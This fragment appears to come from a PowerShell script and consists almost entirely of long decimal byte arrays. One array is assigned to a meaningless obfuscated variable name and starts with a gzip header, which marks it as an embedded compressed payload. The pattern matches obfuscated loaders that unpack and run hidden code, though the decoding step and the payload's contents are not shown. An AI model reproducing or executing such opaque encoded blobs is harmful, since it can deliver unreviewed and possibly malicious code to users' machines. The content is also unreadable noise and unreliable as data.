109,121,152,49,198,109,185,35,109,47,211,180,58,142,200,24,185,9,53,185,75,200,9,104,207,205,16,191,155,11,165,128,123,126,210,152,14,51,179,152,137,153,226,97,243,80,3,77,164,62,161,236,235,166,105,220,49,40,50,134,209,111,26,163,150,48,252,109,11,65,243,57,120,104,141,112,106,59,198,20,4,163,101,57,70,93,136,158,49,98,190,140,126,111,34,53,28,86,207,54,80,195,22,20,134,9,217,163,190,193,243,168,211,246,168,149,53,142,160,141,93,218,153,196,24,1,118,216,31,12,219,214,72,24,66,134,108,116,94,0,22,144,117,218,238,116,12,107,60,234,119,45,14,104,1,237,117,120,171,7,131,234,246,193,72,32,129,14,192,77,54,65,101,13,211,244,69,26,114,30,0,125,8,254,45,153,63,201,221,117,198,131,65,127,8,230,222,121,96,236,219,123,153,31,137,98,190,80,40,87,182,205,66,165,92,53,203,165,70,197,180,42,77,129,249,91,205,22,66,148,236,82,51,255,132,26,254,229,152,182,23,99,41,85,10,165,90,125,199,50,43,246,14,176,52,235,182,89,19,69,219,180,138,229,114,190,88,172,52,119,74,214,2,44,181,197,88,202,86,177,89,172,137,146,89,41,213,119,204,114,185,92,48,235,214,78,195,180,171,59,118,217,42,91,85,81,170,45,194,146,45,44,198,83,104,86,183,171,141,237,170,89,203,139,2,38,190,165,29,115,167,82,175,155,181,146,157,111,86,237,188,109,109,47,194,83,200,47,70,83,19,249,230,182,85,40,154,245,102,189,4,161,137,154,9,17,86,204,114,173,105,87,242,86,161,98,237,188,32,180,221,220,188,73,236,230,102,172,39,176,64,34,102,191,103,203,237,202,129,61,136,25,115,128,174,223,59,220,55,173,83,107,40,88,95,89,79,123,253,17,140,100,94,93,145,192,34,234,231,33,131,128,215,106,159,180,196,48,212,122,192,114,178,97,254,225,80,56,65,28,83,227,62,109,32,147,151,223,122,239,240,254,245,105,50,0,106,56,143,110,150,44,187,207,68,245,4,40,8,177,193,56,251,131,145,209,238,77,80,242,46,224,89,208,114,215,37,250,16,99,126,109,36,91,149,66,145,64,0,141,189,133,35,55,59,223,48,156,86,127,220,153,66,7,247,216,167,92,22,226,53,25,248,210,199,203,104,191,13,89,220,27,180,239,128,141,239,194,127,252,16,64,174,5,208,136,214,107,112,145,226,26,48,17,128,246,144,168,204,54,56,120,212,148,141,79,187,187,87,245,252,187,167,146,154,96,187,246,68,247,108,144,197,178,244,33,182,70,163,193,205,92,206,7,154,13,129,130,158,110,238,193,193,126,174,152,207,87,114,239,205,130,203,220,34,6,118,115,1,48,128,143,197,66,208,61,244,33,175,0,190,80,125,17,252,33,5,153,228,240,5,15,139,55,140,201,221,4,37,33,145,104,59,253,222,9,237,171,124,85,182,46,195,43,217,154,129,24,246,114,151,137,116,222,0,167,204,77,106,5,53,112,23,38,215,236,15,67,205,164,158,3,77,218,144,75,215,142,212,106,142,73,229,192,32,252,66,223,63,228,231,29,24,236,240,122,224,61,8,48,167,182,160,224,160,24,18,5,3,134,240,201,40,216,120,56,105,242,249,113,205,116,207,52,58,31,96,64,115,74,177,149,51,211,207,253,129,206,116,244,101,222,91,127,151,105,55,253,101,119,103,166,78,56,92,170,202,37,253,153,204,65,176,119,246,206,176,209,106,211,246,104,90,235,207,188,49,91,104,118,197,63,83,173,192,211,86,203,133,114,185,209,104,22,236,230,76,225,142,213,59,25,91,39,115,64,114,97,123,93,46,145,201,115,95,118,190,189,161,37,39,197,38,147,160,63,202,111,175,255,124,79,249,255,241,63,120,252,7,33,177,219,221,0,192,0,0)
    
    
    
    
    
    
    
    
    [byte[]] $STRDYFUGIHUYTYRTESRDYUGIRI =@(31,139,8,0,0,0,0,0,4,0,236,189,9,124,99,85,245,56,126,95,246,164,105,218,151,116,73,219,180,201,48,11,157,173,36,233,150,14,48,51,77,147,182,233,222,52,109,211,194,48,147,173,105,218,108,77,210,141,165,116,16,16,20,144,197,47,34,160,95,54,5,17,21,148,85,217,69,144,205,239,160,172,202,248,69,89,4,69,129,239,23,1,17,202,255,156,251,94,210,164,203,128,226,239,243,223,204,204,59,239,158,115,207,57,247,220,115,207,189,247,220,151,165,221,163,23,18,33,33,68,4,215,39,159,16,114,39,225,94,123,201,167,191,22,225,82,233,127,172,34,183,202,159,220,112,39,211,245,228,6,215,120,40,105,136,39,98,193,132,39,98,240,121,162,209,88,202,224,13,24,18,211,81,67,40,106,176,245,14,24,34,49,127,160,38,63,95,177,137,215,209,103,39,164,139,17,146,138,183,110,240,164,245,190,68,84,76,30,35,35,228,251,128,72,56,218,247,159,4,96,160,149,156,117,88,22,112,118,19,178,124,39,6,134,210,241,37,36,123,207,34,164,144,254,95,190,103,110,244,117,0,244,118,114,141,146,175,10,214,234,37,67,148,159,193,23,171,94,96,159,44,11,149,1,222,158,133,215,164,2,115,41,184,223,250,61,142,151,246,117,69,251,64,62,80,147,72,38,124,132,183,13,108,164,29,189,57,151,111,47,252,175,73,4,194,49,96,84,242,54,83,93,183,174,226,179,174,52,243,194,39,185,123,59,109,94,76,94,236,37,228,109,47,213,128,151,228,137,31,18,114,105,233,103,234,49,125,41,200,54,162,49,138,201,47,56,121,214,114,21,20,150,148,2,98,71,131,208,35,39,195,101,193,144,99,69,219,88,162,17,225,128,145,106,5,180,213,244,252,39,159,124,178,133,226,150,39,161,72,88,166,100,73,84,178,196,104,132,150,49,180,111,97,31,244,191,250,54,96,45,29,209,48,150,45,216,32,75,4,44,179,176,31,43,238,130,138,243,192,1,204,194,1,68,239,1,84,67,44,69,168,238,135,160,206,114,8,193,217,8,14,2,96,25,170,228,107,216,80,2,218,140,3,239,229,72,23,238,186,30,110,56,38,188,89,205,104,150,165,17,25,161,111,82,34,227,220,203,90,74,104,223,132,92,223,78,130,203,133,109,141,160,164,32,1,93,140,83,189,11,30,180,230,1,206,26,112,45,89,240,35,1,28,47,1,203,199,176,252,20,86,138,57,79,200,161,188,235,70,234,9,84,100,249,79,52,248,82,44,93,4,160,68,35,160,61,98,161,215,23,132,74,71,150,4,232,31,145,165,5,25,254,128,172,118,234,148,101,87,85,157,80,58,82,234,62,63,31,252,162,97,184,94,209,38,218,104,175,142,199,30,11,74,221,160,246,59,88,20,237,18,211,62,80,7,65,35,208,80,213,104,213,130,23,181,253,12,196,180,11,62,44,62,10,197,43,45,63,69,46,241,54,141,81,68,234,9,206,55,104,184,128,84,67,136,74,10,152,106,80,36,57,4,93,170,88,8,162,200,51,128,46,140,99,233,5,40,125,11,43,20,22,52,71,178,13,64,133,81,73,58,228,52,188,89,234,135,37,21,152,65,168,131,9,177,99,188,156,7,151,14,46,108,202,242,69,236,101,249,174,47,97,217,68,253,180,29,193,239,101,212,71,85,89,253,188,159,246,243,118,128,106,225,82,49,184,65,96,65,253,219,212,130,67,42,140,169,101,227,66,88,58,140,67,81,166,46,91,152,64,236,119,72,159,196,210,171,80,58,173,18,74,150,110,104,131,173,170,88,18,105,202,45,243,232,241,183,16,208,232,47,129,128,154,132,234,133,64,122,132,43,169,227,55,31,58,26,8,11,97,164,190,129,42,179,70,157,147,36,11,48,201,68,130,5,232,168,98,65,148,6,37,6,128,50,90,44,82,11,212,194,88,61,138,148,91,94,23,163,95,138,137,93,133,110,7,153,89,136,192,16,176,249,160,107,219,96,201,252,24,232,63,4,252,1,168,219,143,193,9,180,39,225,26,3,193,89,184,90,160,108,89,194,176,93,0,21,162,68,1,196,105,117,62,78,172,210,243,37,24,41,21,108,69,137,90,120,74,57,84,158,7,28,204,53,108,197,66,20,141,126,7,7,79,136,44,90,3,46,54,150,57,232,125,137,38,223,114,140,144,142,72,5,106,254,31,40,47,192,236,16,129,138,50,184,177,138,24,12,146,4,67,181,220,18,6,187,146,96,131,226,228,67,44,78,214,204,0,176,162,133,8,150,255,12,101,206,34,33,90,164,205,88,148,46,234,88,93,137,240,26,86,87,170,63,238,60,33,53,78,183,134,125,18,75,41,120,99,33,142,212,191,1,181,124,137,225,12,120,29,250,189,80,156,101,157,188,202,173,86,148,171,153,216,78,206,189,231,8,211,22,18,182,64,95,237,214,20,88,254,34,206,144,44,53,160,214,144,159,9,176,217,37,156,171,184,79,89,194,80,4,31,188,1,140,150,195,226,207,208,205,162,229,206,97,143,42,74,89,137,190,207,205,119,170,34,6,117,10,174,51,121,52,76,254,65,77,174,181,52,41,45,61,96,229,231,118,61,168,175,115,31,193,251,82,75,185,96,217,139,50,253,214,175,106,228,22,135,136,198,200,46,168,225,28,118,236,199,224,48,89,137,65,0,155,197,55,45,125,96,24,89,80,115,35,131,161,199,202,98,27,184,33,25,194,125,111,161,40,107,208,84,172,218,205,86,178,149,23,132,96,224,182,114,92,199,103,6,142,149,178,138,244,120,99,78,35,100,37,58,247,194,20,218,248,49,242,22,90,110,198,37,92,166,223,1,138,74,221,223,52,200,209,156,155,62,66,3,10,115,12,128,198,36,91,44,131,200,173,42,225,85,102,237,89,243,31,225,242,18,3,104,153,65,21,247,224,154,168,225,184,242,50,49,50,64,185,28,31,209,240,56,3,164,45,179,24,155,154,172,254,72,217,60,3,49,18,162,223,27,219,140,22,170,44,231,125,66,217,239,1,31,25,100,25,85,50,170,106,233,239,208,224,126,168,177,236,162,179,184,32,219,230,106,37,181,217,192,53,55,12,12,150,111,209,200,108,194,0,165,145,100,25,199,210,190,35,71,194,234,152,42,208,23,101,98,170,58,47,51,216,69,22,57,218,170,90,72,162,168,152,1,243,75,12,10,108,102,20,236,228,71,68,98,248,0,40,56,153,98,208,172,225,71,104,118,12,249,255,10,122,206,167,122,100,150,183,48,32,88,182,144,174,174,223,251,59,237,128,17,77,221,188,148,86,148,27,5,66,86,185,60,254,132,219,21,46,194,253,27,221,98,249,205,135,84,195,201,224,9,3,238,33,150,199,62,76,171,249,87,204,128,234,35,205,128,82,203,247,48,3,42,111,186,12,26,54,72,177,245,46,52,71,91,156,14,204,167,160,127,196,114,242,135,56,138,220,248,156,142,35,250,35,4,239,99,167,127,193,245,231,105,228,120,244,67,92,103,89,203,239,63,249,135,199,172,112,173,117,64,99,17,224,116,99,53,92,106,80,105,249,53,215,152,28,35,107,9,91,84,99,73,138,99,32,213,168,178,242,161,179,255,134,17,120,234,223,112,174,176,57,115,165,146,27,134,75,160,3,107,172,187,58,204,160,254,65,211,149,107,153,174,182,252,125,9,157,161,48,208,100,229,189,15,160,185,236,160,128,245,156,45,41,95,14,139,115,96,248,133,108,17,91,89,130,203,197,66,2,27,100,32,72,45,55,210,0,107,218,136,189,205,199,8,206,231,44,165,89,52,11,235,2,248,59,250,49,13,33,28,43,220,141,33,49,41,38,150,211,161,201,244,226,118,120,241,125,244,7,221,197,193,130,10,220,233,83,216,132,28,154,88,152,198,82,62,150,102,176,196,98,179,148,245,112,3,218,110,3,217,213,217,194,150,245,178,5,145,229,234,247,113,208,170,192,180,42,203,12,148,213,130,165,98,204,99,104,188,115,227,243,139,247,208,158,135,222,195,124,181,89,199,165,23,239,194,117,63,196,224,173,176,144,52,18,122,172,98,48,79,103,193,161,98,204,101,237,12,159,106,161,75,241,186,28,174,221,112,189,135,153,26,225,147,177,5,64,68,149,151,211,84,97,17,211,53,139,27,55,83,60,136,85,11,208,84,121,186,84,13,156,219,23,113,129,179,252,130,225,5,43,120,65,41,82,235,115,5,243,50,130,2,20,196,237,217,242,91,146,195,34,201,176,8,145,165,48,195,130,186,203,47,167,19,118,17,153,184,185,111,134,1,229,164,11,80,90,156,46,97,126,186,125,17,23,76,154,91,103,53,32,202,52,32,70,22,204,140,44,63,70,22,108,64,203,55,128,76,150,47,165,155,213,231,241,228,124,36,223,12,204,213,32,38,177,156,204,228,152,158,159,209,44,65,205,152,235,89,134,144,69,152,97,81,102,88,164,200,82,146,105,124,89,139,52,195,34,67,22,156,123,150,163,211,150,148,241,134,96,63,233,254,84,66,23,78,254,60,133,203,103,150,38,89,70,147,28,53,225,150,75,131,187,116,215,71,31,163,12,150,45,239,124,204,119,189,132,31,55,148,183,108,204,12,10,117,171,34,227,86,5,106,194,105,200,53,134,130,165,188,77,216,75,203,237,105,170,94,193,147,177,203,150,219,50,100,57,79,198,80,176,252,50,237,247,42,158,138,13,89,126,149,166,234,120,42,118,132,46,77,37,77,86,180,220,98,1,184,45,49,133,231,174,89,52,173,24,38,92,233,249,121,244,244,3,231,201,196,155,121,36,126,13,20,22,230,176,182,12,106,23,81,31,221,29,74,154,150,232,230,250,46,166,1,132,108,89,208,66,77,209,18,3,7,148,114,90,222,70,58,150,192,97,75,48,179,151,228,2,66,151,164,149,180,98,122,162,169,33,72,164,54,110,171,34,213,183,224,157,167,161,219,225,204,36,33,12,67,231,33,107,169,166,199,28,134,59,71,130,47,73,29,186,159,238,159,120,54,178,44,208,163,133,200,242,23,236,125,53,223,99,129,192,189,48,143,125,168,100,232,201,146,197,37,75,196,10,47,8,29,71,87,197,61,120,200,129,131,224,201,200,179,1,121,132,220,26,126,28,174,17,23,209,83,209,23,233,145,15,214,18,254,20,126,44,38,24,51,180,42,140,135,26,170,232,14,122,40,102,69,151,195,89,101,51,54,34,46,194,99,225,194,169,168,120,43,40,78,73,113,73,63,13,209,157,116,85,77,155,201,138,23,78,34,252,49,20,219,150,184,23,78,65,124,51,10,105,113,72,4,150,239,211,99,53,25,165,46,162,107,140,0,39,0,119,52,220,70,126,191,76,63,164,206,61,174,45,96,201,132,43,235,233,88,170,199,161,196,86,121,73,28,191,173,89,227,183,149,142,95,30,156,85,247,50,220,154,120,168,8,27,131,8,82,196,96,92,20,139,219,48,8,247,158,95,76,151,96,23,234,84,32,121,59,206,128,197,29,20,238,68,72,23,233,197,26,212,189,120,12,133,144,182,137,146,104,245,162,105,153,193,188,92,172,197,245,28,79,113,139,117,153,82,61,173,198,192,92,108,160,69,220,218,22,27,113,214,44,90,104,99,77,168,53,15,121,119,81,252,88,132,19,139,199,209,38,143,167,112,55,71,218,67,235,247,82,216,76,161,149,194,150,76,107,54,138,219,81,163,18,241,86,42,222,70,97,59,133,14,10,59,40,236,164,176,43,35,221,141,86,225,26,160,56,140,105,251,150,195,212,197,12,125,144,86,195,228,53,49,18,220,79,240,32,175,49,202,201,229,128,128,51,88,125,33,245,165,194,112,63,62,48,185,32,84,53,106,192,231,38,251,70,52,18,72,6,177,232,230,8,249,242,93,168,150,34,249,192,56,33,175,58,49,234,174,154,112,71,52,98,68,171,38,70,53,16,76,47,81,103,230,149,192,217,2,207,189,82,86,42,96,165,23,93,201,74,33,128,17,185,32,180,231,117,136,38,44,124,133,238,163,83,8,13,139,192,123,224,151,7,177,92,5,25,230,38,42,42,142,178,178,137,145,167,89,81,21,43,27,169,26,213,239,217,239,55,96,28,78,236,255,229,149,172,172,116,68,35,131,99,201,241,79,163,58,52,92,111,56,81,105,96,54,218,131,26,185,225,220,239,62,249,22,164,30,75,47,254,248,50,77,158,97,198,101,46,212,40,241,0,220,137,251,104,190,206,171,81,149,64,142,139,91,167,132,45,208,250,95,146,194,9,163,160,204,237,126,233,34,189,214,75,17,45,69,10,189,7,40,86,138,88,21,143,64,241,192,55,217,130,114,72,147,33,251,57,222,118,23,78,62,185,166,144,85,104,88,54,79,163,102,149,26,141,90,206,42,216,60,86,89,82,89,42,169,134,129,149,168,149,44,37,149,234,149,90,158,2,213,72,211,234,217,50,158,66,69,88,121,153,190,164,156,167,240,106,202,43,43,114,213,84,232,149,186,92,53,58,61,91,153,171,166,82,95,82,149,171,166,170,82,47,207,213,163,151,235,149,122,69,174,38,189,66,207,234,243,114,117,233,243,244,37,122,101,174,54,189,178,82,159,191,66,93,62,168,83,173,80,167,2,117,5,43,212,21,128,186,194,92,117,165,21,122,86,82,109,207,210,166,3,235,212,60,41,173,44,15,212,105,120,26,175,172,68,95,164,47,226,73,188,174,138,10,125,113,174,46,232,148,92,95,178,66,89,1,40,43,205,85,86,14,202,180,185,202,244,242,10,125,217,10,109,42,208,86,158,171,173,12,136,21,185,202,170,64,153,110,133,178,252,10,125,101,174,50,45,232,170,202,213,85,9,186,244,185,186,192,177,69,122,195,138,110,150,235,55,72,170,91,179,116,85,129,131,142,226,73,203,46,43,212,111,228,105,105,101,208,111,253,38,158,150,246,127,185,126,115,174,178,114,16,221,146,171,172,18,116,29,189,66,151,2,116,85,231,234,210,231,151,235,183,230,42,43,1,101,219,114,149,149,129,178,237,185,202,116,160,107,199,10,93,48,38,59,115,117,129,47,242,244,53,43,186,9,103,40,253,49,185,218,180,160,205,152,171,173,68,167,55,73,170,219,178,148,85,66,7,204,60,105,57,100,11,244,181,60,141,215,5,17,165,175,227,73,153,9,160,211,215,231,42,43,3,101,13,43,148,161,105,141,185,202,74,65,153,37,87,89,149,78,223,148,171,11,196,20,250,93,185,202,116,64,60,54,87,23,204,185,98,253,113,185,202,202,117,250,227,87,40,195,25,176,59,87,153,22,148,237,89,161,76,14,202,246,114,52,96,41,116,107,80,154,117,107,176,94,237,214,32,147,198,173,81,178,249,176,160,231,179,249,50,125,225,137,182,27,225,108,6,27,9,61,163,22,177,114,204,174,21,37,108,81,73,57,38,157,10,86,145,38,148,243,132,188,52,161,170,188,122,10,27,82,166,9,122,37,207,82,4,251,212,141,2,161,160,83,40,218,47,28,19,239,63,224,86,73,85,162,151,254,195,189,128,91,189,74,82,58,2,101,149,184,186,29,51,22,215,54,158,87,188,95,36,30,251,84,222,111,114,122,61,98,207,145,25,175,65,62,145,80,60,118,224,83,24,97,27,105,21,232,13,194,17,189,126,191,95,32,4,232,61,0,196,232,2,38,36,187,232,19,38,216,173,37,165,52,65,89,192,252,100,91,133,81,72,252,132,190,219,194,22,41,170,29,152,239,225,211,241,196,219,144,251,38,190,162,36,241,106,216,185,21,213,112,14,150,164,182,224,14,125,24,143,132,91,146,144,66,42,20,135,145,149,47,98,210,182,229,8,98,184,255,75,182,49,244,140,169,36,250,237,68,41,161,111,251,52,146,60,43,125,194,199,228,25,5,164,138,75,183,56,165,91,184,36,234,48,30,177,183,148,114,101,62,97,99,248,55,230,88,150,211,51,67,77,223,133,156,73,200,253,20,130,106,13,230,219,130,234,22,154,98,211,247,153,48,217,147,99,14,141,86,139,196,23,132,172,152,73,136,232,27,76,128,41,132,226,18,73,172,8,219,21,64,169,186,7,36,69,146,145,66,129,168,196,250,11,216,90,183,53,8,132,34,177,80,132,89,187,98,11,175,115,148,224,251,88,132,45,81,88,58,80,77,12,206,98,10,145,68,95,61,90,229,158,112,199,224,240,166,16,199,32,125,85,228,113,55,37,119,219,194,221,242,101,2,43,230,240,2,153,212,221,140,198,200,5,110,217,200,54,73,169,91,33,17,238,249,1,62,45,223,134,239,119,72,200,12,212,230,225,91,57,52,7,85,44,96,22,185,171,21,18,174,5,204,34,55,107,54,87,151,1,61,89,142,45,173,200,85,19,127,135,225,136,85,96,181,14,45,144,85,39,161,103,37,19,213,41,184,201,56,12,159,198,40,66,177,42,106,83,76,15,55,249,5,161,146,221,191,4,215,64,161,124,159,70,132,183,19,52,98,184,113,243,75,2,169,85,9,100,62,162,146,221,18,154,232,195,60,20,151,104,228,37,26,133,101,55,62,222,87,148,143,66,202,131,121,18,77,121,96,246,138,75,71,246,218,232,201,163,100,247,113,244,152,34,43,209,168,232,33,145,85,241,106,100,85,94,76,167,228,208,78,41,171,114,143,92,116,0,80,21,232,86,65,198,35,218,131,73,22,29,62,200,111,228,114,200,80,184,76,9,74,90,62,77,130,98,41,151,35,65,233,37,42,46,197,140,143,149,26,182,139,153,237,75,170,163,137,225,24,125,129,111,73,85,77,150,84,91,137,225,250,231,238,61,176,164,218,70,12,255,211,248,209,142,37,213,118,98,88,120,232,220,246,37,213,14,56,102,85,147,153,240,70,62,34,201,94,5,61,122,85,147,210,17,42,172,220,6,181,28,207,9,220,205,29,89,82,237,132,138,157,100,23,199,187,147,242,34,233,104,202,139,112,36,130,244,19,17,113,115,122,182,175,209,202,118,42,185,61,35,185,157,107,101,59,223,74,13,173,24,55,136,111,128,196,120,73,89,67,60,81,74,152,192,74,78,10,77,114,99,119,209,80,125,129,159,222,88,239,1,158,126,12,208,143,33,48,62,159,144,253,75,42,35,135,1,242,201,254,116,93,21,136,24,9,56,18,189,179,164,220,65,12,5,240,130,106,19,135,189,13,47,192,204,128,153,72,57,48,155,73,57,167,222,147,230,209,231,123,233,77,227,63,192,57,116,43,189,244,5,94,15,250,158,195,169,31,182,102,42,75,253,89,117,219,114,235,244,170,108,193,29,233,202,237,164,210,203,117,11,4,60,88,57,146,230,154,9,71,48,225,231,130,111,128,15,62,124,19,31,34,66,230,209,20,148,104,10,45,53,136,22,150,236,198,197,3,246,63,47,238,42,85,184,171,72,96,175,41,116,179,5,172,114,63,155,143,107,42,228,251,133,16,139,133,108,33,196,226,163,24,139,221,25,85,44,101,103,105,196,227,193,0,176,82,55,224,224,83,178,191,202,207,81,180,148,130,62,215,23,242,164,50,142,4,142,215,107,145,164,40,197,77,14,12,222,115,23,62,147,151,228,23,105,36,48,27,170,78,128,92,62,105,192,89,124,9,76,88,141,166,68,83,100,57,10,91,215,196,190,134,132,98,86,83,61,141,133,18,41,91,204,150,224,155,33,176,125,129,178,34,182,136,85,239,121,134,190,215,16,187,12,56,164,244,12,122,24,223,38,96,55,87,207,0,229,69,137,1,159,116,197,64,159,66,83,90,162,209,90,254,23,31,71,151,178,218,203,53,101,108,89,108,35,210,203,233,162,195,150,199,54,33,86,193,86,160,213,123,247,151,44,9,52,58,64,64,255,158,253,154,138,172,197,103,51,90,80,33,137,109,193,61,245,124,88,10,153,216,209,80,228,78,243,149,108,101,12,78,224,138,38,124,94,200,150,21,65,43,91,145,191,178,122,27,202,110,199,99,253,56,26,81,25,219,129,237,85,177,85,176,36,184,53,144,195,83,85,26,3,212,236,68,214,26,212,82,140,90,12,37,105,26,28,181,21,215,208,147,31,16,15,225,6,65,77,186,166,68,179,193,82,74,169,236,6,24,157,42,118,195,229,49,35,86,32,170,217,192,110,192,86,246,252,22,31,74,8,57,107,102,49,47,48,72,74,147,38,180,226,40,246,168,152,25,11,27,75,52,155,44,115,168,105,147,102,11,187,197,142,15,193,240,9,8,190,205,143,143,217,112,175,177,208,197,110,227,66,45,90,84,135,29,106,230,8,245,25,130,145,35,52,224,94,57,135,15,47,244,28,161,49,195,161,226,8,22,180,102,83,172,137,222,192,212,77,236,38,86,191,231,116,28,212,141,11,187,210,220,236,70,86,71,151,158,133,99,81,22,13,90,56,142,246,35,118,60,173,94,216,157,97,5,151,31,37,137,237,73,59,155,213,130,86,45,171,101,75,193,1,248,180,63,251,244,78,72,115,29,247,49,17,220,159,77,208,217,94,81,238,103,86,240,133,143,184,240,66,65,216,158,153,154,68,91,62,236,60,123,113,35,174,73,156,146,41,167,247,227,163,104,38,64,216,196,15,176,170,153,110,188,213,86,220,222,112,215,86,72,74,36,23,132,98,54,250,216,140,40,42,240,121,140,128,168,249,182,86,63,97,88,206,9,242,242,136,132,123,102,45,33,195,128,3,39,123,104,87,58,6,18,47,67,107,90,26,67,208,4,190,175,207,199,134,164,244,80,233,50,130,231,27,5,255,46,67,158,180,68,192,189,179,45,45,21,94,35,165,143,242,82,48,136,204,54,216,155,69,228,111,208,134,10,247,230,84,57,202,207,227,3,206,86,12,74,124,204,198,17,99,109,52,71,122,10,8,89,54,243,117,237,56,6,14,4,29,104,159,94,197,127,24,36,214,137,97,65,53,109,251,140,220,138,195,209,21,77,196,186,144,203,4,92,177,110,204,139,74,104,143,98,61,105,5,156,254,163,63,11,171,226,48,155,171,156,182,75,135,19,186,205,249,126,251,118,206,247,16,37,100,223,5,233,242,87,201,240,159,210,99,34,38,253,132,62,185,100,23,240,145,210,46,8,105,82,237,1,159,37,90,84,124,24,36,122,161,84,221,139,214,65,126,37,81,72,14,85,166,23,149,234,62,244,61,162,244,129,20,85,1,105,89,236,114,46,205,35,56,230,206,180,254,246,140,254,147,81,191,15,181,158,130,165,233,149,250,171,50,250,79,197,140,21,81,250,168,139,170,192,180,47,246,205,116,30,41,165,159,222,161,250,241,49,216,174,150,140,253,7,51,246,127,37,83,186,26,91,234,207,106,73,159,219,18,162,244,113,26,85,134,45,169,68,177,107,210,109,101,245,165,35,215,87,190,76,11,63,88,217,23,67,110,11,136,210,71,117,84,5,237,203,183,151,115,226,204,88,116,230,234,191,47,227,171,199,177,116,26,198,52,175,127,3,234,95,64,2,29,11,68,233,67,64,170,2,199,226,198,204,88,136,72,111,90,127,87,174,254,223,100,236,127,99,165,253,71,229,234,71,148,123,188,136,64,16,251,62,213,254,251,133,238,244,19,199,234,211,241,208,130,11,83,226,253,140,86,105,65,90,235,8,212,210,135,146,84,130,251,252,144,152,184,185,53,138,21,148,149,150,38,157,152,53,151,40,165,52,11,206,151,135,52,34,86,68,179,92,133,5,246,42,34,149,64,154,75,15,6,26,177,140,21,187,149,172,136,21,143,32,83,201,241,47,193,10,124,24,63,223,33,109,194,121,33,141,65,142,161,120,81,66,159,119,10,224,100,176,199,129,203,15,33,229,73,23,93,200,204,130,148,25,39,213,32,183,172,209,49,8,225,18,15,255,171,125,232,128,106,24,38,73,158,84,111,224,223,223,27,78,63,92,142,13,1,144,242,231,219,205,135,220,72,95,196,220,125,24,23,75,105,12,8,138,210,228,8,77,241,5,37,2,88,59,193,161,10,89,236,4,172,174,134,67,158,36,159,62,32,151,167,199,6,223,57,80,227,250,91,12,206,82,72,232,226,92,178,27,231,184,150,123,122,42,45,41,189,82,90,170,189,82,186,141,35,40,101,64,144,1,65,182,45,71,222,241,57,229,79,251,156,242,183,124,78,249,87,63,167,124,89,225,231,147,239,254,156,242,7,63,167,252,109,159,83,254,141,127,92,190,138,123,231,102,91,148,100,191,33,182,36,23,194,37,34,244,217,203,182,109,88,21,59,145,206,20,174,92,66,203,187,210,34,244,120,157,174,251,26,201,122,47,109,223,178,252,73,43,100,234,178,100,218,104,185,138,91,147,120,254,102,74,219,157,177,139,174,66,219,178,240,94,154,207,112,237,200,86,212,237,95,129,227,188,197,190,30,192,251,122,239,91,109,193,79,125,42,210,239,61,121,104,251,184,46,28,196,121,138,235,2,102,67,130,152,23,183,96,73,94,102,97,24,73,47,12,74,202,32,164,12,213,93,56,207,233,98,163,17,209,165,68,35,102,197,50,186,118,176,98,57,93,43,112,249,194,207,255,242,171,5,190,195,34,45,145,242,235,5,43,161,11,6,44,120,184,68,225,178,65,215,169,244,120,245,112,119,129,144,62,75,56,173,31,151,84,179,224,20,188,243,163,67,72,3,135,11,233,227,4,32,236,230,113,216,121,2,72,73,243,143,241,252,105,92,207,227,184,121,164,219,195,242,54,21,163,34,177,91,185,241,61,180,19,189,215,135,136,89,37,80,17,21,19,187,147,223,111,106,14,213,172,170,187,59,83,119,76,166,110,151,74,136,117,42,65,236,126,94,167,113,141,186,135,248,58,211,42,157,63,207,232,52,103,234,142,2,11,159,200,208,107,87,201,28,202,212,213,101,234,184,126,61,205,183,83,191,74,230,249,140,76,195,10,153,23,121,153,198,21,244,151,120,186,101,5,253,21,158,222,180,170,141,215,51,109,236,90,85,247,102,166,238,216,76,157,85,37,226,252,163,18,198,222,206,212,31,183,162,189,119,249,246,142,207,241,207,7,25,254,221,171,218,250,40,83,183,39,83,215,161,18,167,219,130,164,8,242,72,170,115,239,138,182,68,60,189,121,5,93,198,211,173,43,232,74,158,222,178,130,94,200,211,109,43,232,69,60,221,190,70,140,104,249,186,214,85,253,209,49,233,254,180,173,208,103,224,101,218,87,201,108,202,200,56,86,213,85,103,234,58,214,176,99,7,175,179,115,69,91,70,158,222,181,130,94,199,211,187,151,199,117,160,195,202,16,238,205,110,124,14,50,99,174,49,214,212,27,27,205,248,180,23,78,182,97,128,59,32,199,223,8,137,217,101,112,199,140,124,227,64,42,17,138,6,147,200,49,14,46,48,192,210,191,113,112,128,156,51,204,125,111,98,99,219,160,3,143,192,151,1,238,206,3,220,26,198,53,138,190,224,44,201,12,223,38,56,78,94,64,50,47,108,29,140,33,248,76,5,114,58,210,8,132,126,184,206,228,214,65,122,190,86,240,101,228,77,127,23,37,47,11,199,107,19,167,159,242,18,114,62,223,43,9,252,219,2,215,32,25,5,232,161,48,72,97,140,210,111,164,229,135,41,124,129,65,168,20,34,44,16,33,252,153,20,97,175,156,74,81,56,79,225,11,20,254,145,194,119,41,100,20,74,133,132,252,82,129,229,255,166,240,246,60,132,55,43,145,254,146,18,203,175,210,242,219,20,238,204,71,24,201,63,59,95,66,190,159,255,19,128,54,85,175,74,66,230,84,200,249,23,90,30,46,192,242,76,1,218,249,31,180,124,5,133,47,81,72,10,17,58,10,81,195,137,180,60,93,120,70,161,132,92,78,41,247,83,248,2,133,75,133,98,86,66,154,88,132,115,44,182,123,54,251,85,40,127,151,194,59,216,251,0,230,169,177,118,139,26,107,107,41,188,90,141,58,55,104,144,167,154,194,239,104,144,242,160,230,113,141,132,168,138,74,138,36,164,163,8,165,38,139,144,255,70,10,247,23,35,101,130,194,36,133,11,20,158,83,76,253,89,140,246,188,67,161,160,228,236,124,5,217,82,113,76,133,138,124,185,226,146,10,9,121,168,98,20,78,212,219,117,38,157,130,156,169,59,6,40,183,234,80,106,73,135,30,40,171,196,22,143,165,176,155,194,193,202,81,58,198,151,242,113,196,144,131,144,128,255,39,185,134,148,81,76,8,33,0,123,47,169,4,188,144,98,207,243,88,17,197,222,227,49,45,197,10,24,14,211,81,108,39,143,25,40,214,202,99,155,40,182,143,199,170,41,54,199,99,59,40,118,49,143,25,41,246,3,30,171,35,121,96,217,195,128,109,0,204,66,177,151,41,86,201,125,106,142,126,134,174,12,34,210,66,52,80,58,86,128,117,213,124,29,126,60,183,140,199,10,201,217,130,175,11,56,76,12,156,55,9,176,133,109,228,120,202,121,191,224,87,80,183,141,52,211,214,95,163,117,61,144,81,136,65,238,111,128,109,6,236,44,138,149,8,81,103,15,57,155,98,219,41,214,75,206,165,58,241,65,126,37,96,95,166,90,250,121,236,43,36,31,172,246,11,209,178,94,114,9,149,155,165,114,253,128,33,231,151,40,167,147,124,157,98,